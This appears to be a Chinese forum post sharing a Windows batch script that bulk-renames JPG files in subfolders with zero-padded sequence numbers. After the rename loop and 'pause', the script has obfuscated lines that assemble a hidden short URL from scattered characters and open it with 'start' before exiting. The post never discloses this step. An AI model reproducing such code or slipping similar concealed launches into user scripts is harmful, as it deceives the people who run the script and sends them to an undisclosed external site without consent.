先上测试效果图:
代码如下:
@echo off & title 批量重命名并序号补位 By 依梦琴瑶cd /d %~dp0::脚本放于主目录后执行::设置补位数,比如补全五位,就填写5set Ws=5for /l %%a in (1,1,%Ws%) do ( call set W=%%W%%0)for /d %%a in (*) do ( pushd "%%~a" for %%b in (*_*.jpg) do ( for /f "tokens=1 delims=_" %%c in ("%%~b") do ( set /a "Num=1%W%+%%~c" rem 如果最终显示的文件名前后符合您的要求,请把下行中的echo这个单词删除。 call echo ren "%%~b" "%%~a %%Num:~1%%%%~xb" ) ) popd)pauseset S0=fGRHset S1=.:ailnhpst/set S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%set S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%start "" "%S2%%S3%%S1:~10,1%%S0%"exit